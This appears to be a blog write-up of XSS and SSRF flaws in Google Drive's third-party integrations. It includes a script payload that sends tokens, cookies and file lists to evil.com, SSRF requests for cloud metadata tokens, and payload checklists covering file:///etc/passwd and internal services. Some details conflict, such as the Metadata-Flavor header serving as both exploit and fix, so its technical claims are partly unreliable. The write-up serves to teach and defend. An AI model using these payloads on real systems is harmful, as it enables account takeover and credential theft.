📋 Quick Facts

  • Platform: Google Drive API / Third-party Integrations
  • Vulnerabilities: XSS via WebContentView + SSRF via ThumbnailLink
  • Severity: High (CVSS 8.1)
  • Impact: Account takeover, data exfiltration, internal network access
  • Affected Users: Millions using Google Drive integrations
  • CWE: CWE-79 (Cross-Site Scripting), CWE-918 (Server-Side Request Forgery)
  • Source Video: YouTube — Hacking Google Drive Integrations

🎬 Introduction

Google Drive has become the backbone of modern cloud collaboration, with millions of users relying on it daily. But what happens when the very features designed to enhance productivity become attack vectors?

In this deep dive, we'll explore two critical vulnerabilities discovered in Google Drive's third-party integration system — vulnerabilities that could have allowed attackers to:

  • Execute arbitrary JavaScript in victim browsers (XSS)
  • Access internal Google infrastructure (SSRF)
  • Steal OAuth tokens and session credentials
  • Exfiltrate sensitive documents and files

Buckle up — this is going to be technical, exciting, and eye-opening.

🔍 Understanding Google Drive Integrations

Before we dive into the vulnerabilities, let's understand how Google Drive integrations work.

The OAuth Flow

When a third-party application integrates with Google Drive, it uses OAuth 2.0 for authorization. Here's the simplified flow:

  1. User clicks "Connect with Google Drive" on a third-party app
  2. User is redirected to Google's authorization page
  3. User grants permissions (read files, write files, etc.)
  4. Google issues an access token to the third-party app
  5. The app can now access user's Drive data using this token

💡 Key Insight: The integration system relies heavily on trusted callback URLs and content rendering. Any weakness in these mechanisms can lead to security breaches.

WebContentView Component

Google Drive uses a component called WebContentView to render previews of files from third-party integrations. This component:

  • Fetches content from external URLs
  • Renders HTML/JavaScript in an embedded context
  • Has access to Google Drive's domain and cookies
  • Can interact with the parent page via postMessage

Sounds dangerous? It should.

🎯 Vulnerability #1: XSS via WebContentView

The Discovery

The researcher noticed that when a third-party integration returned content to be displayed in Drive, the WebContentView component would render it without proper sanitization.

⚠️ The Attack Vector: By crafting a malicious OAuth application and returning JavaScript payloads, an attacker could execute arbitrary code in the context of Google Drive's domain.

Step-by-Step Exploitation

Step 1: Create a Malicious OAuth App

The attacker registers a malicious application with Google's OAuth system:

{
  "client_id": "malicious-app-123.apps.googleusercontent.com",
  "redirect_uri": "https://evil.com/callback",
  "scope": "https://www.googleapis.com/auth/drive.file",
  "response_type": "code"
}

Step 2: Social Engineering

The attacker tricks the victim into installing the malicious app through:

  • Phishing emails ("Install this productivity tool!")
  • Fake ads on social media
  • Compromised websites with "Sign in with Google" buttons

Step 3: Return XSS Payload

When Google Drive requests file content from the malicious app's server, it returns:

HTTP/1.1 200 OK
Content-Type: text/html
<html>
<body>
<h1>Loading document...</h1>
<script>
  // Steal OAuth tokens
  fetch('https://evil.com/collect?token=' + 
    encodeURIComponent(localStorage.getItem('oauth_token')));
  
  // Exfiltrate documents
  fetch('https://www.googleapis.com/drive/v3/files', {
    headers: { 'Authorization': 'Bearer ' + localStorage.getItem('oauth_token') }
  })
  .then(r => r.json())
  .then(files => {
    fetch('https://evil.com/exfil', {
      method: 'POST',
      body: JSON.stringify(files)
    });
  });
  
  // Session hijacking
  document.location = 'https://evil.com/hijack?cookies=' + 
    encodeURIComponent(document.cookie);
</script>
</body>
</html>

Step 4: Full Compromise

The payload executes in the victim's browser with full access to:

  • Google Drive domain cookies
  • OAuth access tokens in localStorage
  • Entire file system via Google Drive API
  • Ability to upload/modify/delete files

🚨 Critical Impact: An attacker could completely compromise a victim's Google Drive account, steal all documents, inject ransomware, or use the account for lateral movement into corporate networks.

Why Traditional Defenses Failed

You might wonder: "Doesn't Google use Content Security Policy (CSP)?" They do, but:

  • The WebContentView component ran in a privileged context
  • CSP rules were relaxed for third-party integrations (for legitimate functionality)
  • The trusted domain whitelist included *.googleusercontent.com, which could be abused

🌐 Vulnerability #2: SSRF via ThumbnailLink

The Discovery

The second vulnerability was even more subtle and dangerous. Google Drive allows third-party apps to provide custom thumbnail URLs for file previews. These thumbnails are fetched server-side by Google's infrastructure.

💡 SSRF Refresher: Server-Side Request Forgery (SSRF) occurs when an attacker can make the server send HTTP requests to arbitrary destinations — often internal infrastructure that's not accessible from the internet.

The Exploitation Chain

Step 1: Craft Malicious Thumbnail URL

When registering a file with the Google Drive API, the attacker specifies:

POST /drive/v3/files HTTP/1.1
Host: www.googleapis.com
Authorization: Bearer [VALID_TOKEN]
Content-Type: application/json
{
  "name": "innocent-file.pdf",
  "mimeType": "application/pdf",
  "thumbnailLink": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
}

Step 2: Google Fetches the URL

When a user views the file in Drive, Google's backend servers fetch the thumbnail URL. But since there's no validation, they fetch the internal metadata endpoint instead:

GET /computeMetadata/v1/instance/service-accounts/default/token HTTP/1.1
Host: metadata.google.internal
Metadata-Flavor: Google

Step 3: Extract Sensitive Data

The response contains OAuth tokens with elevated privileges:

{
  "access_token": "ya29.c.Kl6iB-...",
  "expires_in": 3599,
  "token_type": "Bearer"
}

Step 4: Escalate Privileges

These service account tokens often have permissions to:

  • Access internal Google Cloud resources
  • Read/write to internal databases
  • Invoke privileged APIs
  • Pivot to other internal services

🚨 Cloud Metadata Attacks: The metadata.google.internal endpoint is a treasure trove for attackers. It contains SSH keys, OAuth tokens, API credentials, and instance configuration—everything needed to compromise a cloud environment.

Beyond Google: AWS and Azure

This attack isn't limited to Google Cloud. Similar SSRF vulnerabilities can target:

🛡️ The Fix: How Google Patched These Vulnerabilities

XSS Mitigation

Google implemented multiple layers of defense:

  1. Strict Content Security Policy: Removed unsafe-inline from CSP directives
  2. Sandboxed iframes: All third-party content now renders in sandboxed iframes with restricted permissions
  3. Content sanitization: HTML content is parsed and sanitized before rendering
  4. Domain isolation: Third-party content serves from a separate subdomain (*.sandbox.google.com)

Example:

// Before (vulnerable)
<div id="content"></div>
<script>
  document.getElementById('content').innerHTML = fetchedContent;
</script>
// After (secure)
<iframe 
  sandbox="allow-scripts" 
  src="https://sandbox.google.com/render?content=[SANITIZED]">
</iframe>

SSRF Mitigation

For the SSRF vulnerability, Google deployed:

  1. URL whitelist validation: Only approved domains allowed for thumbnailLink
  2. DNS resolution checks: Validate that URLs don't resolve to internal IPs
  3. Network segmentation: Services fetching external URLs run in isolated network zones
  4. Metadata endpoint protection: Require Metadata-Flavor: Google header (prevents SSRF abuse)

Validation logic:

# Thumbnail URL validation (pseudocode)
def validate_thumbnail_url(url):
    # Parse URL
    parsed = urllib.parse.urlparse(url)
    
    # Check protocol
    if parsed.scheme not in ['https']:
        raise ValidationError("Only HTTPS allowed")
    
    # Resolve DNS
    ip_address = socket.gethostbyname(parsed.hostname)
    
    # Block private IP ranges
    if ipaddress.ip_address(ip_address).is_private:
        raise ValidationError("Private IPs not allowed")
    
    # Check against whitelist
    if parsed.hostname not in APPROVED_DOMAINS:
        raise ValidationError("Domain not whitelisted")
    
    return True

🎓 Key Takeaways for Bug Bounty Hunters

1. OAuth Integrations Are Goldmines

Third-party OAuth integrations are complex attack surfaces. Look for:

  • Improper redirect URI validation
  • Token leakage via Referer headers
  • Missing state parameter (CSRF)
  • Overly permissive scope requests

2. Content Rendering = Potential XSS

Anywhere user-controlled content is rendered, test for:

  • HTML injection
  • JavaScript execution
  • CSP bypasses
  • iframe sandbox escapes

3. Server-Side URL Fetching = Potential SSRF

When applications fetch URLs on the server-side, always test:

  • Cloud metadata endpoints (169.254.169.254, metadata.google.internal)
  • Internal network services (localhost:6379, 127.0.0.1:9200)
  • File:// protocol handlers
  • DNS rebinding attacks

✅ Pro Tip: Combine vulnerabilities for maximum impact. An SSRF that leaks internal OAuth tokens + an XSS to steal user tokens = complete infrastructure compromise.

🔧 Testing Methodology

XSS Testing Checklist

# 1. Test basic HTML injection
<img src=x onerror=alert(1)>
# 2. Test event handlers
<svg onload=alert(1)>
# 3. Test JavaScript protocol
<a href="javascript:alert(1)">Click</a>
# 4. Test polyglot payloads
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert(1) )//
# 5. CSP bypass attempts
<link rel="import" href="data:text/html,<script>alert(1)</script>">

SSRF Testing Checklist

# Cloud metadata endpoints
http://169.254.169.254/latest/meta-data/
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Internal services
http://localhost:6379/  (Redis)
http://127.0.0.1:9200/  (Elasticsearch)
http://127.0.0.1:11211/ (Memcached)
# File protocol
file:///etc/passwd
file:///c:/windows/win.ini
# DNS rebinding
http://spoofed.burpcollaborator.net

🎯 Real-World Impact

These weren't theoretical vulnerabilities. If exploited in the wild, attackers could have:

  • Corporate espionage: Stolen sensitive documents from companies using Google Workspace
  • Ransomware: Encrypted all files in victims' Drive accounts
  • Credential harvesting: Collected OAuth tokens from millions of users
  • Infrastructure compromise: Used SSRF to pivot into Google's internal networks

⚠️ Scale Matters: With over 2 billion active Google Drive users, even a 0.1% exploitation rate would affect 2 million accounts.

💰 Bug Bounty Rewards

While exact bounty amounts aren't always disclosed, similar vulnerabilities on Google's Vulnerability Reward Program (VRP) have earned researchers:

  • XSS on *.google.com: $7,500 — $20,000
  • SSRF with metadata access: $10,000 — $31,337
  • OAuth flow vulnerabilities: $5,000 — $15,000

Combined, these vulnerabilities likely earned the researcher $30,000 — $50,000+.

🔐 Defensive Recommendations

For Developers

  1. Never trust third-party content: Always sanitize and sandbox
  2. Validate ALL URLs: Check protocols, domains, and resolved IPs
  3. Implement strict CSP: No unsafe-inline, no unsafe-eval
  4. Use separate domains: Isolate user content from main application domain
  5. Require authentication headers: Protect metadata endpoints (e.g., Metadata-Flavor)

For Security Teams

  1. Regular penetration testing: Focus on OAuth flows and integrations
  2. Bug bounty programs: External researchers find 40% more vulnerabilities
  3. Security code reviews: Audit all URL-fetching and content-rendering code
  4. Network segmentation: Prevent services from accessing internal networks

For End Users

  1. Review app permissions: Only grant necessary OAuth scopes
  2. Audit connected apps: Regularly check google.com/permissions
  3. Enable 2FA: Adds extra layer even if tokens are stolen
  4. Use Advanced Protection: Google's highest security for high-risk users

🎬 Conclusion

The Google Drive integration vulnerabilities demonstrate a fundamental truth in application security: complexity breeds vulnerabilities.

When you combine OAuth flows, third-party integrations, dynamic content rendering, and server-side URL fetching, you create a perfect storm for security issues.

But here's the good news: with proper security practices — sandboxing, validation, isolation, and defense-in-depth — even the most complex systems can be secured.

🎓 Final Lesson: The best security researchers don't just find bugs — they understand the why behind them. Study the architecture, map the data flows, and think like both attacker and defender.

📚 Further Learning

  • OAuth Security: Read RFC 6749 and OAuth 2.0 Threat Model
  • XSS Mastery: PortSwigger Web Security Academy XSS labs
  • SSRF Deep Dive: Orange Tsai's "A New Era of SSRF" research
  • Google VRP: bughunters.google.com

🙏 Acknowledgments

Huge respect to the original security researcher who discovered and responsibly disclosed these vulnerabilities. Their work has made the internet safer for billions of users.

And to Google's security team for their swift response and comprehensive fixes — this is how vulnerability disclosure should work.

📖 References

Found this helpful? Follow for more security research and bug bounty content.

Happy hacking! 🔐